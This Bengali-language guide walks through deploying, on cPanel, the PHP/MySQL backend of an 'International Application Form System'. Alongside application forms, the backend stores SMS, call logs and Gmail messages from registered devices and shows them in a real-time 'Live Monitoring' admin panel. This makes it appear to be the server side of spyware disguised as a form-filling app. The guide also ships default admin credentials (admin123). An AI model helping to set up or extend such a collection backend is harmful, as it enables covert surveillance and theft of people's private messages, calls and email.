# 🌍 সম্পূর্ণ সেটআপ গাইড
## My International Application Form System

---

## 📦 এই ZIP ফাইলে কি আছে?

```
Backend/
├── api/                      → Backend API Files
├── admin/                    → Admin Panel
├── uploads/                  → File Upload Directory
└── database.sql             → Database Schema

Android_App/                  → Android App Source Code (Coming in next version)
```

---

# PART 1: Backend Setup (cPanel এ)

## ⏰ সময়: মাত্র 10-15 মিনিট

---

## ধাপ ১: ডাটাবেস তৈরি করুন (5 মিনিট)

### 1.1 cPanel এ লগইন করুন
- আপনার নতুন cPanel URL এ যান
- Username এবং Password দিয়ে login করুন

### 1.2 MySQL Database তৈরি করুন
1. **MySQL Databases** খুঁজুন এবং ক্লিক করুন
2. **Create New Database** সেকশনে যান
3. Database Name লিখুন: `application_system` (বা যেকোনো নাম)
4. **Create Database** বাটনে ক্লিক করুন
5. সফল মেসেজ দেখবেন: "Added the database..."

### 1.3 MySQL User তৈরি করুন
1. নিচে **MySQL Users** সেকশনে স্ক্রল করুন
2. Username লিখুন: `app_user` (বা যেকোনো নাম)
3. **Password Generator** ব্যবহার করুন অথবা নিজের password দিন
4. Password কপি করে **কোথাও সেভ করুন** (গুরুত্বপূর্ণ!)
5. **Create User** বাটনে ক্লিক করুন

### 1.4 User কে Database এর সাথে যুক্ত করুন
1. **Add User To Database** সেকশনে যান
2. **User** dropdown থেকে আপনার তৈরি user সিলেক্ট করুন
3. **Database** dropdown থেকে আপনার তৈরি database সিলেক্ট করুন
4. **Add** বাটনে ক্লিক করুন
5. নতুন পেজে **ALL PRIVILEGES** চেকবক্স সিলেক্ট করুন
6. **Make Changes** বাটনে ক্লিক করুন

### 1.5 এই তথ্যগুলো লিখে রাখুন:
```
Database Host: localhost (সাধারণত এটাই)
Database Name: application_system (আপনার দেওয়া নাম)
Database Username: app_user (আপনার দেওয়া নাম)
Database Password: ********** (আপনার তৈরি password)
```

---

## ধাপ ২: Database Import করুন (3 মিনিট)

### 2.1 phpMyAdmin খুলুন
1. cPanel এ ফিরে যান
2. **phpMyAdmin** খুঁজুন এবং ক্লিক করুন
3. নতুন ট্যাবে phpMyAdmin খুলবে

### 2.2 আপনার Database সিলেক্ট করুন
1. বাম পাশের তালিকা থেকে আপনার database (`application_system`) এ ক্লিক করুন
2. Database খালি দেখাবে - এটা ঠিক আছে

### 2.3 SQL File Import করুন
1. উপরের মেনু বার থেকে **Import** ট্যাবে ক্লিক করুন
2. **Choose File** বাটনে ক্লিক করুন
3. আপনার কম্পিউটার থেকে `Backend/database.sql` ফাইলটি সিলেক্ট করুন
4. পেজের একদম নিচে যান
5. **Go** বাটনে ক্লিক করুন (লাল রঙের বড় বাটন)
6. অপেক্ষা করুন... (5-10 সেকেন্ড)

### 2.4 সফল মেসেজ দেখবেন:
```
✅ Import has been successfully finished
✅ 6 queries executed
```

### 2.5 Tables চেক করুন:
বাম পাশে দেখবেন:
- devices
- sms_messages
- call_logs
- gmail_messages
- application_forms
- application_documents

সব table দেখলে মানে database **সফলভাবে Import হয়েছে!** 🎉

---

## ধাপ ৩: ফাইল আপলোড করুন (5 মিনিট)

### 3.1 File Manager খুলুন
1. cPanel এ ফিরে যান
2. **File Manager** খুঁজুন এবং ক্লিক করুন
3. নতুন ট্যাবে File Manager খুলবে

### 3.2 public_html ফোল্ডারে যান
1. বাম পাশের ফোল্ডার লিস্ট থেকে **public_html** ডাবল ক্লিক করুন
2. এই ফোল্ডারে আপনার সাইটের সব ফাইল থাকবে

### 3.3 ফাইল আপলোড করুন
1. উপরের মেনু থেকে **Upload** বাটনে ক্লিক করুন
2. নতুন পেজ খুলবে
3. আপনার কম্পিউটার থেকে **Backend ফোল্ডারের সব কিছু** drag & drop করুন:
   - `api` ফোল্ডার (পুরোটা)
   - `admin` ফোল্ডার (পুরোটা)
   - `uploads` ফোল্ডার (পুরোটা)
4. আপলোড শেষ হওয়া পর্যন্ত অপেক্ষা করুন
5. সব ফাইল 100% আপলোড হলে, **Go Back to...** লিংকে ক্লিক করুন

### 3.4 ফাইনাল স্ট্রাকচার চেক করুন:
```
public_html/
├── api/
│   ├── config.php
│   ├── register.php
│   ├── save_sms.php
│   ├── save_call.php
│   ├── save_gmail.php
│   ├── get_data.php
│   ├── submit_application.php
│   ├── get_applications.php
│   └── application_action.php
├── admin/
│   ├── index.php
│   ├── dashboard.php
│   ├── monitoring.php
│   ├── applications.php
│   └── logout.php
└── uploads/
    ├── photos/
    ├── signatures/
    └── documents/
```

---

## ধাপ ৪: Config File আপডেট করুন (2 মিনিট)

### 4.1 config.php ফাইল খুলুন
1. File Manager এ `public_html/api/config.php` খুঁজুন
2. ফাইলে **ডান ক্লিক** করুন
3. **Edit** সিলেক্ট করুন
4. Encoding পপআপ আসলে **Edit** ক্লিক করুন

### 4.2 Database তথ্য পরিবর্তন করুন
এই লাইনগুলো খুঁজুন (লাইন 7-10):
```php
define('DB_HOST', 'localhost');
define('DB_USER', 'your_database_username');  // ⬅️ এটা পরিবর্তন করুন
define('DB_PASS', 'your_database_password');  // ⬅️ এটা পরিবর্তন করুন
define('DB_NAME', 'your_database_name');      // ⬅️ এটা পরিবর্তন করুন
```

**পরিবর্তন করুন:**
```php
define('DB_HOST', 'localhost');
define('DB_USER', 'app_user');              // ধাপ ১.৩ থেকে
define('DB_PASS', 'your_actual_password');  // ধাপ ১.৩ থেকে
define('DB_NAME', 'application_system');    // ধাপ ১.২ থেকে
```

### 4.3 সেভ করুন
1. উপরের ডানে **Save Changes** বাটনে ক্লিক করুন
2. **Close** ক্লিক করে ফাইল এডিটর বন্ধ করুন

---

## ধাপ ৫: টেস্ট করুন (2 মিনিট)

### 5.1 Admin Panel খুলুন
নতুন ব্রাউজার ট্যাবে যান:
```
https://yourdomain.com/admin/
```
(yourdomain.com এর জায়গায় আপনার আসল domain দিন)

### 5.2 লগইন করুন
```
Email: admin@monitor.com
Password: admin123
```

### 5.3 সফল হলে দেখবেন:
- ✅ Dashboard খুলবে
- ✅ 2টা বড় বাটন দেখবেন:
  - 📡 Live Monitoring
  - 📋 Application Management
- ✅ উপরে Stats দেখবেন (0 devices, 0 SMS, ইত্যাদি)

### যদি Dashboard দেখতে পান = **সেটআপ সফল!** 🎉🎉🎉

---

# 🔧 Troubleshooting (সমস্যা সমাধান)

## সমস্যা ১: "Database connection failed"

**কারণ:**
- config.php তে database তথ্য ভুল আছে

**সমাধান:**
1. File Manager এ `api/config.php` আবার খুলুন
2. DB_USER, DB_PASS, DB_NAME সঠিক আছে কিনা চেক করুন
3. phpMyAdmin এ গিয়ে database আছে কিনা দেখুন
4. cPanel এ MySQL Databases এ গিয়ে user database এর সাথে যুক্ত আছে কিনা চেক করুন

## সমস্যা ২: "404 Not Found" বা Page খুলছে না

**কারণ:**
- ফাইল সঠিক জায়গায় নেই
- URL ভুল

**সমাধান:**
1. File Manager এ চেক করুন: `public_html/admin/index.php` আছে কিনা
2. URL চেক করুন: https://yourdomain.com/admin/ (শেষে স্ল্যাশ আছে কিনা)
3. Domain সঠিক লিখেছেন কিনা দেখুন

## সমস্যা ৩: Page খালি দেখাচ্ছে

**কারণ:**
- PHP error হচ্ছে

**সমাধান:**
1. cPanel → Error Log দেখুন
2. config.php তে syntax error আছে কিনা চেক করুন

## সমস্যা ৪: "Permission denied" error

**কারণ:**
- File permission সঠিক নেই

**সমাধান:**
1. File Manager এ `uploads` ফোল্ডারে রাইট ক্লিক করুন
2. **Change Permissions** সিলেক্ট করুন
3. **755** permission দিন
4. **Recurse into subdirectories** চেক করুন
5. **Change Permissions** ক্লিক করুন

---

# 📱 Admin Panel ব্যবহার

## Live Monitoring (📡)

### কি দেখা যাবে:
- **SMS Messages** - সব SMS real-time
- **Call Logs** - সব incoming/outgoing calls
- **Gmail Messages** - সব email messages
- **Devices** - registered সব device

### ফিচার:
- ✅ Auto-refresh প্রতি 5 সেকেন্ডে
- ✅ Device filter করা যায়
- ✅ Search করা যায়
- ✅ Live indicator দেখায়

## Application Management (📋)

### কি দেখা যাবে:
- সব submitted application list
- Status: Pending, Approved, Rejected
- Filter করা যায় status অনুযায়ী

### কি করা যায়:
- ✅ View Details - সব তথ্য দেখা
- ✅ View Photo - live capture করা photo
- ✅ View Signature - আঁকা signature
- ✅ Approve - application অনুমোদন
- ✅ Reject - application বাতিল

---

# 🔑 গুরুত্বপূর্ণ তথ্য

## Admin Login:
```
URL: https://yourdomain.com/admin/
Email: admin@monitor.com
Password: admin123
```

## Database Info (Config করার জন্য):
```
File: api/config.php
Host: localhost
User: (আপনার তৈরি)
Pass: (আপনার তৈরি)
Name: (আপনার তৈরি)
```

---

# ⚠️ নিরাপত্তা সতর্কতা

**প্রোডাকশনে ব্যবহারের আগে:**

1. **Admin Password পরিবর্তন করুন**
   - admin/index.php ফাইলে গিয়ে password পরিবর্তন করুন

2. **uploads Folder Secure করুন**
   - .htaccess ফাইল যুক্ত করুন

3. **SSL Certificate ইনস্টল করুন**
   - cPanel থেকে Let's Encrypt ফ্রি SSL নিন

---

# ✅ চেকলিস্ট

Setup সম্পূর্ণ হলে:
- [ ] Database তৈরি হয়েছে
- [ ] SQL Import করেছি
- [ ] ফাইল আপলোড করেছি
- [ ] config.php আপডেট করেছি
- [ ] Admin Panel login হচ্ছে
- [ ] Dashboard খুলছে
- [ ] Test data দেখা যাচ্ছে

সব ☑️ দিতে পারলে = **সম্পূর্ণ সফল!** 🎊

---

# 📞 সাপোর্ট

যদি কোন সমস্যা হয়:
1. এই গাইড আবার পড়ুন
2. Troubleshooting section দেখুন
3. প্রতিটি ধাপ ধীরে ধীরে করুন

---

**শুভকামনা!** 🚀

Version: 1.0
Date: December 2024
